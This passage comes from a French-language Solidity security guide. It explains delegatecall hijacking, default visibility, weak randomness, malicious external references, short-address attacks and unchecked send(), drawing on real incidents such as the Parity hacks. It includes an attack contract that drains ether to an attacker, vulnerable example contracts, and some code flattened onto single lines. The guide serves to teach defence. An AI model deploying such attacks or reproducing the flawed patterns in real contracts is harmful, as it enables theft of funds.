Pire encore, le contrat FibonacciBalance permet aux utilisateurs d'appeler toutes les fonctions de fibonacciLibrary via la fonction fallback à la ligne [26]. Comme nous l'avons vu précédemment, cela inclut la fonction setStart(). Nous avons vu que cette fonction permet à quiconque de modifier ou de définir le stockage slot[0]. Dans ce cas, le stockage slot[0] est l'adresse fibonacciLibrary. Par conséquent, un attaquant pourrait créer un contrat malveillant (un exemple est donné ci-dessous), convertir l'adresse en uint (cela peut être fait facilement en python avec int('<address>',16)) puis appeler setStart(<attack_contract_address_as_uint>). Cela changera fibonacciLibrary en l'adresse du contrat d'attaque. Ensuite, chaque fois qu'un utilisateur appelle withdraw() ou la fonction fallback, le contrat malveillant s'exécutera (ce qui peut voler la totalité du solde du contrat) car nous avons modifié l'adresse réelle de fibonacciLibrary. Un exemple d'un tel contrat d'attaque serait,```solidity
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
Remarquez que ce contrat d'attaque modifie le `calculatedFibNumber` en changeant le slot de stockage `slot[1]`. En principe, un attaquant pourrait modifier n'importe quel autre slot de stockage de son choix pour mener toutes sortes d'attaques contre ce contrat. J'encourage tous les lecteurs à placer ces contrats dans [Remix](https://remix.ethereum.org) et à expérimenter avec différents contrats d'attaque et changements d'état via ces fonctions `delegatecall`.
Il est également important de noter que lorsque nous disons que `delegatecall` préserve l'état, nous ne parlons pas des noms de variables du contrat, mais plutôt des slots de stockage réels vers lesquels ces noms pointent. Comme vous pouvez le voir dans cet exemple, une simple erreur peut permettre à un attaquant de détourner l'intégralité du contrat et de son ether.
<h3 id="dc-prevention">Techniques de prévention</h3>
Solidity fournit le mot-clé `library` pour implémenter des contrats de bibliothèque (voir la [documentation Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) pour plus de détails). Cela garantit que le contrat de bibliothèque est sans état et non auto-destructible. Forcer les bibliothèques à être sans état atténue les complexités du contexte de stockage démontrées dans cette section. Les bibliothèques sans état empêchent également les attaques par lesquelles les attaquants modifient directement l'état de la bibliothèque afin d'affecter les contrats qui dépendent du code de la bibliothèque.
En règle générale, lorsque vous utilisez `DELEGATECALL`, portez une attention particulière au contexte d'appel possible du contrat de bibliothèque et du contrat appelant, et dans la mesure du possible, créez des bibliothèques sans état.
<h3 id="dc-example">Exemple concret : portefeuille multisig Parity (deuxième piratage)</h3>
Le deuxième piratage du portefeuille multisig Parity est un exemple de la façon dont le contexte d'un code de bibliothèque bien écrit peut être exploité s'il est exécuté dans un contexte non prévu. Il existe plusieurs bonnes explications de ce piratage, comme cette synthèse : [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) par Anthony Akentiev, cette [question Stack Exchange](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) et [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).
Pour compléter ces références, explorons les contrats qui ont été exploités. Le contrat de bibliothèque et le contrat de portefeuille se trouvent sur le github de Parity [ici](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol).
Regardons les aspects pertinents de ce contrat. Deux contrats d'intérêt y figurent : le contrat de bibliothèque et le contrat de portefeuille.
Le contrat de bibliothèque,```solidity
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
et le contrat de wallet,```solidity contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); else if (msg.data.length > 0) _walletLibrary.delegatecall(msg.data); }
...
// FIELDS address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; }
Remarquez que le contrat `Wallet` transmet essentiellement tous les appels au contrat `WalletLibrary` via un appel délégué. L'adresse constante `_walletLibrary` dans cet extrait de code sert d'espace réservé pour le contrat `WalletLibrary` réellement déployé (qui se trouvait à `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).
Le fonctionnement prévu de ces contrats était d'avoir un contrat `Wallet` simple et peu coûteux à déployer, dont la base de code et les fonctionnalités principales se trouvaient dans le contrat `WalletLibrary`. Malheureusement, le contrat `WalletLibrary` est lui-même un contrat et conserve son propre état. Pouvez-vous voir pourquoi cela pourrait poser problème ?
Il est possible d'envoyer des appels au contrat `WalletLibrary` lui-même. Plus précisément, le contrat `WalletLibrary` pouvait être initialisé et devenir possédé. Un utilisateur l'a fait en appelant la fonction `initWallet()` sur le contrat `WalletLibrary`, devenant ainsi propriétaire du contrat bibliothèque. Ce même utilisateur a ensuite appelé la fonction `kill()`. Comme l'utilisateur était propriétaire du contrat de bibliothèque, le modificateur a été validé et le contrat de bibliothèque s'est auto-détruit. Comme tous les contrats `Wallet` existants référencent ce contrat de bibliothèque et ne contiennent aucune méthode pour modifier cette référence, toutes leurs fonctionnalités, y compris la possibilité de retirer de l'ether, sont perdues en même temps que le contrat `WalletLibrary`. Plus directement, tout l'ether contenu dans tous les portefeuilles multi-signatures Parity de ce type est instantanément perdu ou définitivement irrécupérable.
<h2 id="visibility"><span id="SP-5">5. Visibilités par défaut</span></h2>
En Solidity, les fonctions ont des spécificateurs de visibilité qui déterminent comment elles peuvent être appelées. La visibilité détermine si une fonction peut être appelée de manière externe par les utilisateurs, par d'autres contrats dérivés, uniquement en interne ou uniquement en externe. Il existe quatre spécificateurs de visibilité, décrits en détail dans la [documentation Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters). Par défaut, les fonctions sont `public`, ce qui permet aux utilisateurs de les appeler de manière externe. Une utilisation incorrecte des spécificateurs de visibilité peut conduire à des vulnérabilités dévastatrices dans les contrats intelligents, comme nous le verrons dans cette section.
<h3 id="visibility-vuln">La vulnérabilité</h3>
La visibilité par défaut des fonctions est `public`. Par conséquent, les fonctions qui ne spécifient aucune visibilité seront appelables par des utilisateurs externes. Le problème survient lorsque les développeurs ignorent par erreur les spécificateurs de visibilité sur des fonctions qui devraient être privées (ou uniquement appelables au sein du contrat lui-même).
Explorons rapidement un exemple trivial.```solidity
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
Ce contrat simple est conçu pour agir comme un jeu de prime consistant à deviner une adresse. Pour gagner le solde du contrat, un utilisateur doit générer une adresse Ethereum dont les 8 derniers caractères hexadécimaux sont 0. Une fois obtenue, il peut appeler la fonction WithdrawWinnings() pour obtenir sa prime.
Malheureusement, la visibilité des fonctions n'a pas été spécifiée. En particulier, la fonction _sendWinnings() est public et donc n'importe quelle adresse peut appeler cette fonction pour voler la prime.
Il est de bonne pratique de toujours spécifier la visibilité de toutes les fonctions d'un contrat, même si elles sont intentionnellement public. Les versions récentes de Solidity affichent désormais des avertissements lors de la compilation pour les fonctions dont la visibilité n'est pas explicitement définie, afin d'encourager cette pratique.
Lors du premier piratage multi-sig de Parity, environ $31M d'Ether ont été volés à partir de trois portefeuilles principalement. Un bon récapitulatif de la façon exacte dont cela a été fait est fourni par Haseeb Qureshi dans cet article.
Essentiellement, le portefeuille multi-sig (qui peut être trouvé ici) est construit à partir d'un contrat de base Wallet qui appelle un contrat de bibliothèque contenant les fonctionnalités de base (comme cela a été décrit dans Exemple réel : Parity Multisig (second piratage)). Le contrat de bibliothèque contient le code d'initialisation du portefeuille, comme le montre l'extrait suivant```solidity
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function initMultiowned(address[] _owners, uint _required) { m_numOwners = _owners.length + 1; m_owners[1] = uint(msg.sender); m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[2 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 2 + i; } m_required = _required; }
...
// constructor - just pass on the owner array to the multiowned and // the limit to daylimit function initWallet(address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); } }
Remarquez qu'aucune des deux fonctions n'a explicitement spécifié de visibilité. Les deux fonctions sont `public` par défaut. La fonction `initWallet()` est appelée dans le constructeur du portefeuille et définit les propriétaires du portefeuille multi-sig, comme on peut le voir dans la fonction `initMultiowned()`. Comme ces fonctions ont été accidentellement laissées `public`, un attaquant a pu les appeler sur les contrats déployés, réinitialisant la propriété au profit de l'adresse de l'attaquant. En tant que propriétaire, l'attaquant a ensuite vidé les portefeuilles de tout leur ether, à hauteur de \$31M.
<h2 id="entropy"><span id="SP-6">6. L'illusion de l'entropie</span></h2>
Toutes les transactions sur la blockchain Ethereum sont des opérations de transition d'état déterministes. Cela signifie que chaque transaction modifie l'état global de l'écosystème Ethereum, et ce d'une manière calculable, sans incertitude. En fin de compte, cela signifie qu'au sein de l'écosystème de la blockchain, il n'existe aucune source d'entropie ni de hasard. Il n'y a pas de fonction `rand()` en Solidity. Obtenir une entropie (un hasard) décentralisée est un problème bien connu, et de nombreuses idées ont été proposées pour y remédier (voir par exemple [RandDAO](https://github.com/randao/randao) ou l'utilisation d'une chaîne de hachages comme décrite par Vitalik dans cet [article](https://vitalik.ca/files/randomness.html)).
<h3 id="entropy-vuln">La vulnérabilité</h3>
Certains des premiers contrats construits sur la plateforme Ethereum étaient fondés sur les jeux d'argent. Fondamentalement, les jeux d'argent exigent de l'incertitude (quelque chose sur quoi parier), ce qui rend la construction d'un système de jeu sur la blockchain (un système déterministe) plutôt difficile. Il est clair que l'incertitude doit provenir d'une source externe à la blockchain. C'est possible pour les paris entre pairs (voir par exemple la [technique du commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), mais c'est nettement plus difficile si l'on veut implémenter un contrat qui joue le rôle de *la maison* (comme au blackjack ou à la roulette). Un piège courant consiste à utiliser des variables de blocs futures, comme les hachages, les horodatages, le numéro de bloc ou la limite de gaz. Le problème est que ces variables sont contrôlées par le mineur qui extrait le bloc et ne sont donc pas vraiment aléatoires. Prenons par exemple un contrat intelligent de roulette dont la logique renvoie un numéro noir si le hachage du prochain bloc se termine par un nombre pair. Un mineur (ou un pool de mineurs) pourrait parier \\$1M sur le noir. S'il résout le bloc suivant et constate que le hachage se termine par un nombre impair, il s'abstiendra volontiers de publier son bloc et en minera un autre jusqu'à ce qu'il trouve une solution dont le hachage de bloc est un nombre pair (en supposant que la récompense de bloc et les frais sont inférieurs à $1M). L'utilisation de variables passées ou présentes peut être encore plus dévastatrice, comme le démontre Martin Swende dans son excellent [article de blog](http://martin.swende.se/blog/Breaking_the_house.html). De plus, l'utilisation exclusive de variables de bloc signifie que le nombre pseudo-aléatoire sera le même pour toutes les transactions d'un bloc, si bien qu'un attaquant peut multiplier ses gains en effectuant de nombreuses transactions dans un même bloc (s'il existe un montant de mise maximal).
<h3 id="entropy-prevention">Techniques de prévention</h3>
La source d'entropie (de hasard) doit être externe à la blockchain. Cela peut se faire entre pairs avec des systèmes tels que le [commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract), ou en modifiant le modèle de confiance pour un groupe de participants (comme dans [RandDAO](https://github.com/randao/randao)). Cela peut également se faire via une entité centralisée, qui agit comme un oracle de hasard. Les variables de bloc (en général, il y a quelques exceptions) ne doivent pas être utilisées comme source d'entropie, car elles peuvent être manipulées par les mineurs.
<h3 id="entropy-example">Exemple concret : contrats PRNG</h3>
Arseny Reutov a écrit un [article de blog](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) après avoir analysé 3649 contrats intelligents en production qui utilisaient une sorte de générateur de nombres pseudo-aléatoires (PRNG) et a trouvé 43 contrats qui pouvaient être exploités.
<h2 id="contract-reference"><span id="SP-7">7. Référencement de contrats externes</span></h2>
L'un des avantages de l'*ordinateur global* d'Ethereum est la possibilité de réutiliser du code et d'interagir avec des contrats déjà déployés sur le réseau. Par conséquent, un grand nombre de contrats référencent des contrats externes et, dans le cadre de leur fonctionnement normal, utilisent des appels de messages externes pour interagir avec ces contrats. Ces appels de messages externes peuvent masquer les intentions d'acteurs malveillants de manières non évidentes, comme nous le verrons.
<h3 id="cr-vuln">La vulnérabilité</h3>
En Solidity, n'importe quelle adresse peut être convertie en contrat, peu importe que le code à cette adresse représente le type de contrat converti. Cela peut être trompeur, en particulier lorsque l'auteur du contrat tente de cacher un code malveillant. Illustrons cela par un exemple :
Considérons un morceau de code qui implémente de manière rudimentaire le chiffrement [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13).
`Rot13Encryption.sol` :```solidity
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
Ce code prend simplement une chaîne (lettres a-z, sans validation) et la chiffre en décalant chaque caractère de 13 positions vers la droite (en revenant après 'z') ; c.-à-d. que 'a' devient 'n' et 'x' devient 'k'. L'assemblage ici n'est pas important, donc ne vous inquiétez pas s'il n'a pas de sens à ce stade.
Considérez le contrat suivant qui utilise ce code pour son chiffrement,```solidity import "Rot13Encryption.sol";
// encrypt your top secret info contract EncryptionContract { // library for encryption Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
Le problème avec ce contrat est que l'adresse `encryptionLibrary` n'est ni publique ni constante. Ainsi, le déployeur du contrat aurait pu fournir une adresse dans le constructeur qui pointe vers ce contrat :```solidity
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
qui implémente le chiffrement rot26 (décale chaque caractère de 26 places, vous avez saisi ? :p). Encore une fois, il n'est pas nécessaire de comprendre l'assembly dans ce contrat. Le déployeur aurait également pu lier le contrat suivant :```solidity contract Print{ event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
Si l’adresse de l’un ou l’autre de ces contrats était fournie dans le constructeur, la fonction `encryptPrivateData()` se contenterait de générer un événement qui affiche les données privées non chiffrées. Bien que dans cet exemple un contrat de type bibliothèque soit défini dans le constructeur, il arrive souvent qu’un utilisateur privilégié (tel qu’un `owner`) puisse modifier les adresses des contrats de bibliothèque. Si un contrat lié ne contient pas la fonction appelée, la fonction de repli (fallback) sera exécutée. Par exemple, avec la ligne `encryptionLibrary.rot13Encrypt()`, si le contrat spécifié par `encryptionLibrary` était :```solidity
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
then an event with the text "Here" would be emitted. Thus if users can alter contract libraries, they can in principle get users to unknowingly run arbitrary code.
Note : N'utilisez pas de contrats de chiffrement tels que ceux-ci, car les paramètres d'entrée des contrats intelligents sont visibles sur la blockchain. De plus, le chiffrement Rot n'est pas une technique de chiffrement recommandée :p
Comme démontré ci-dessus, des contrats sans vulnérabilité peuvent (dans certains cas) être déployés de manière à se comporter de façon malveillante. Un auditeur pourrait vérifier publiquement un contrat et amener son propriétaire à le déployer d'une manière malveillante, ce qui donnerait un contrat publiquement audité comportant des vulnérabilités ou une intention malveillante.
Un certain nombre de techniques permettent d'éviter ces scénarios.
Une technique consiste à utiliser le mot-clé new pour créer des contrats. Dans l'exemple ci-dessus, le constructeur pourrait être écrit comme ceci :```solidity
constructor() {
encryptionLibrary = new Rot13Encryption();
}
Ainsi, une instance du contrat référencé est créée au moment du déploiement et le déployeur ne peut pas remplacer le contrat `Rot13Encryption` par autre chose sans modifier le contrat intelligent.
Une autre solution consiste à coder en dur les adresses des contrats externes si elles sont connues.
En général, le code qui appelle des contrats externes doit toujours être examiné attentivement. En tant que développeur, lors de la définition de contrats externes, il peut être judicieux de rendre les adresses des contrats publiques (ce qui n'est pas le cas dans l'exemple de honeypot donné ci-dessous) afin de permettre aux utilisateurs d'examiner facilement quel code est référencé par le contrat. À l'inverse, si un contrat possède une variable privée contenant une adresse de contrat, cela peut être un signe de comportement malveillant (comme le montre l'exemple réel). Si un utilisateur privilégié (ou n'importe quel utilisateur) est capable de modifier une adresse de contrat utilisée pour appeler des fonctions externes, il peut être important (dans le contexte d'un système décentralisé) de mettre en œuvre un mécanisme de verrouillage temporel (time-lock) ou de vote pour permettre aux utilisateurs de voir quel code est modifié ou pour donner aux participants la possibilité d'accepter ou de refuser la nouvelle adresse de contrat.
<h3 id="cr-example">Exemple réel : Honeypot de réentrance</h3>
Un certain nombre de honeypots récents ont été publiés sur le mainnet. Ces contrats tentent de tromper les hackers Ethereum qui essaient d'exploiter les contrats, mais qui se retrouvent à perdre de l'ether au profit du contrat qu'ils s'attendent à exploiter. Un exemple utilise l'attaque ci-dessus en remplaçant un contrat attendu par un contrat malveillant dans le constructeur. Le code se trouve [ici](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code):```solidity
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
Ce post d'un utilisateur de reddit explique comment il a perdu 1 ether avec ce contrat en essayant d'exploiter la faille de réentrance qu'il pensait présente dans le contrat.
Cette attaque n'est pas effectuée spécifiquement sur les contrats Solidity eux-mêmes mais sur des applications tierces qui peuvent interagir avec eux. J'ajoute cette attaque par souci d'exhaustivité et pour être conscient de la manière dont les paramètres peuvent être manipulés dans les contrats.
Pour en savoir plus, voir L'attaque par adresse courte ERC20 expliquée, Vulnérabilité des contrats intelligents ICO : attaque par adresse courte ou ce post reddit.
Lors de la transmission de paramètres à un contrat intelligent, les paramètres sont encodés conformément à la spécification ABI. Il est possible d'envoyer des paramètres encodés plus courts que la longueur de paramètre attendue (par exemple, envoyer une adresse qui ne fait que 38 caractères hexadécimaux (19 octets) au lieu des 40 caractères hexadécimaux standard (20 octets)). Dans un tel scénario, l'EVM complète les paramètres encodés avec des 0 à la fin pour atteindre la longueur attendue.
Cela devient un problème lorsque des applications tierces ne valident pas les entrées. L'exemple le plus clair est une plateforme d'échange qui ne vérifie pas l'adresse d'un jeton ERC20 lorsqu'un utilisateur demande un retrait. Cet exemple est traité plus en détail dans le post de Peter Venesses, L'attaque par adresse courte ERC20 expliquée mentionné ci-dessus.
Considérez l'interface de la fonction de transfert standard ERC20, en notant l'ordre des paramètres,```solidity function transfer(address to, uint tokens) public returns (bool success);
Considérons maintenant une plateforme d'échange détenant une grande quantité d'un jeton (disons `REP`) et un utilisateur souhaitant retirer sa part de 100 jetons. L'utilisateur soumettrait son adresse, `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` et le nombre de jetons, `100`. La plateforme encoderait ces paramètres dans l'ordre spécifié par la fonction `transfer()`, c'est-à-dire `address` puis `tokens`. Le résultat encodé serait `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`. Les quatre premiers octets (`a9059cbb`) sont le [signature/sélecteur de fonction](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) de `transfer()`, les 32 octets suivants sont l'adresse, suivis des 32 derniers octets qui représentent le nombre de jetons `uint256`. Remarquez que la valeur hexadécimale `56bc75e2d63100000` à la fin correspond à 100 jetons (avec 18 décimales, comme spécifié par le contrat du jeton `REP`).
Bon, regardons maintenant ce qui se passe si nous envoyons une adresse à laquelle il manque 1 octet (2 chiffres hexadécimaux). Plus précisément, disons qu'un attaquant envoie `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` comme adresse (il manque les deux derniers chiffres) et les mêmes `100` jetons à retirer. Si la plateforme d'échange ne valide pas cette entrée, celle-ci serait encodée comme `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. La différence est subtile. Notez que `00` a été ajouté à la fin de l'encodage pour compenser l'adresse courte envoyée. Lorsque cela est envoyé au contrat intelligent, le paramètre `address` sera lu comme `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` et la valeur sera lue comme `56bc75e2d6310000000` (remarquez les deux `0` supplémentaires). Cette valeur est désormais `25600` jetons (la valeur a été multipliée par `256`). Dans cet exemple, si la plateforme détenait cette quantité de jetons, l'utilisateur retirerait `25600` jetons (alors que la plateforme pense que l'utilisateur ne retire que `100`) vers l'adresse modifiée. Évidemment, l'attaquant ne possédera pas l'adresse modifiée dans cet exemple, mais si l'attaquant générait une adresse quelconque se terminant par des `0` (ce qui peut facilement être trouvé par force brute) et utilisait cette adresse générée, il pourrait facilement voler des jetons à la plateforme d'échange peu méfiante.
<h3 id="short-prev">Techniques de prévention</h3>
Je suppose qu'il est évident de dire que valider toutes les entrées avant de les envoyer sur la blockchain empêchera ce genre d'attaques. Il convient également de noter que l'ordre des paramètres joue un rôle important ici. Comme le remplissage n'intervient qu'à la fin, un ordre soigneux des paramètres dans le contrat intelligent peut potentiellement atténuer certaines formes de cette attaque.
<h3 id="short-example">Exemple concret : inconnu</h3>
Je ne connais aucune attaque publiée de ce type dans la nature.
<h2 id="unchecked-calls"><span id="SP-9">9. Valeurs de retour des CALL non vérifiées</span></h2>
Il existe un certain nombre de façons d'effectuer des appels externes en Solidity. L'envoi d'ether à des comptes externes est généralement effectué via la méthode `transfer()`. Cependant, la fonction `send()` peut également être utilisée et, pour des appels externes plus polyvalents, l'opcode `CALL` peut être directement employé en Solidity. Les fonctions `call()` et `send()` renvoient un booléen indiquant si l'appel a réussi ou échoué. Ces fonctions présentent donc une simple réserve : la transaction qui exécute ces fonctions ne sera pas annulée (ne fera pas de revert) si l'appel externe (initialisé par `call()` ou `send()`) échoue ; au contraire, `call()` ou `send()` renverront simplement `false`. Un piège courant survient lorsque la valeur de retour n'est pas vérifiée, le développeur s'attendant au contraire à ce qu'un revert se produise.
Pour en savoir plus, voir [DASP Top 10](http://www.dasp.co/#item-4) et [Scanning Live Ethereum Contracts for the "Unchecked-Send" Bug](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).
<h3 id="unchecked-calls-vuln">La vulnérabilité</h3>
Considérez l'exemple suivant :```solidity
contract Lotto {
bool public payedOut = false;
address public winner;
uint public winAmount;
// ... extra functionality here
function sendToWinner() public {
require(!payedOut);
winner.send(winAmount);
payedOut = true;
}
function withdrawLeftOver() public {
require(payedOut);
msg.sender.send(this.balance);
}
}
Ce contrat représente un contrat de type Loto, où un winner reçoit winAmount d'ether, ce qui laisse généralement un petit reste que n'importe qui peut retirer.
Le bug existe à la ligne [11] où un send() est utilisé sans vérifier la réponse. Dans cet exemple trivial, un winner dont la transaction échoue (soit par manque de gaz, soit parce qu'il s'agit d'un contrat qui lève intentionnellement une exception dans la fonction fallback) permet à payedOut d'être défini sur true (que l'ether ait été envoyé ou non). Dans ce cas, le public peut retirer les gains du winner via la fonction withdrawLeftOver().
Dans la mesure du possible, utilisez la fonction transfer() plutôt que send(), car transfer() effectuera un revert si la transaction externe échoue. Si send() est requis, vérifiez toujours la valeur de retour.
Une recommandation encore plus robuste consiste à adopter un modèle de retrait (withdrawal pattern). Dans cette solution, chaque utilisateur a la charge d'appeler une fonction isolée (c'est-à-dire une fonction withdraw) qui gère l'envoi d'ether hors du contrat et traite donc indépendamment les conséquences des transactions send échouées. L'idée est d'isoler logiquement la fonctionnalité d'envoi externe du reste de la base de code et de placer la charge d'une éventuelle transaction échouée sur l'utilisateur final qui appelle la fonction withdraw.
Etherpot était une loterie basée sur des contrats intelligents, pas très différente du contrat exemple mentionné ci-dessus. Le code Solidity d'Etherpot se trouve ici : lotto.sol. La principale faiblesse de ce contrat venait d'une utilisation incorrecte des hachages de blocs (seuls les 256 derniers hachages de blocs sont utilisables, voir le post d'Aakil Fernandes expliquant comment Etherpot n'a pas implémenté cela correctement). Cependant, ce contrat souffrait également d'une valeur d'appel non vérifiée. Remarquez la fonction cash() à la ligne [80] de lotto.sol :```solidity
...
function cash(uint roundIndex, uint subpotIndex){
var subpotsCount = getSubpotsCount(roundIndex);
if(subpotIndex>=subpotsCount)
return;
var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);
if(decisionBlockNumber>block.number)
return;
if(rounds[roundIndex].isCashed[subpotIndex])
return;
//Subpots can only be cashed once. This is to prevent double payouts
var winner = calculateWinner(roundIndex,subpotIndex);
var subpot = getSubpot(roundIndex);
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
} ...
Noticez qu'à la ligne \[21\] la valeur de retour de la fonction `send` n'est pas vérifiée, et la ligne suivante définit ensuite un booléen indiquant que le gagnant a reçu ses fonds. Ce bug peut permettre un état où le gagnant ne reçoit pas son ether, mais l'état du contrat peut indiquer que le gagnant a déjà été payé.
Une version plus sérieuse de ce bug s'est produite dans le [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). Une excellente [analyse post-mortem](https://www.kingoftheether.com/postmortem.html) de ce contrat a été rédigée, détaillant comment un `send()` échoué et non vérifié pouvait être utilisé pour attaquer le contrat.
<h2 id="race-conditions"><span id="SP-10">10. Conditions de course / Front Running</span></h2>
La combinaison d'appels externes vers d'autres contrats et la nature multi-utilisateurs de la blockchain sous-jacente donne lieu à une variété de pièges Solidity potentiels où les utilisateurs *se disputent* l'exécution du code pour obtenir des états inattendus. La [Réentrance](#reentrancy) est un exemple de ce type de condition de course. Dans cette section, nous parlerons plus généralement des différents types de conditions de course qui peuvent se produire sur la blockchain Ethereum. Il existe une variété de bons articles sur ce sujet, en voici quelques-uns : [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) et [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).
<h3 id="race-conditions-vuln">La vulnérabilité</h3>
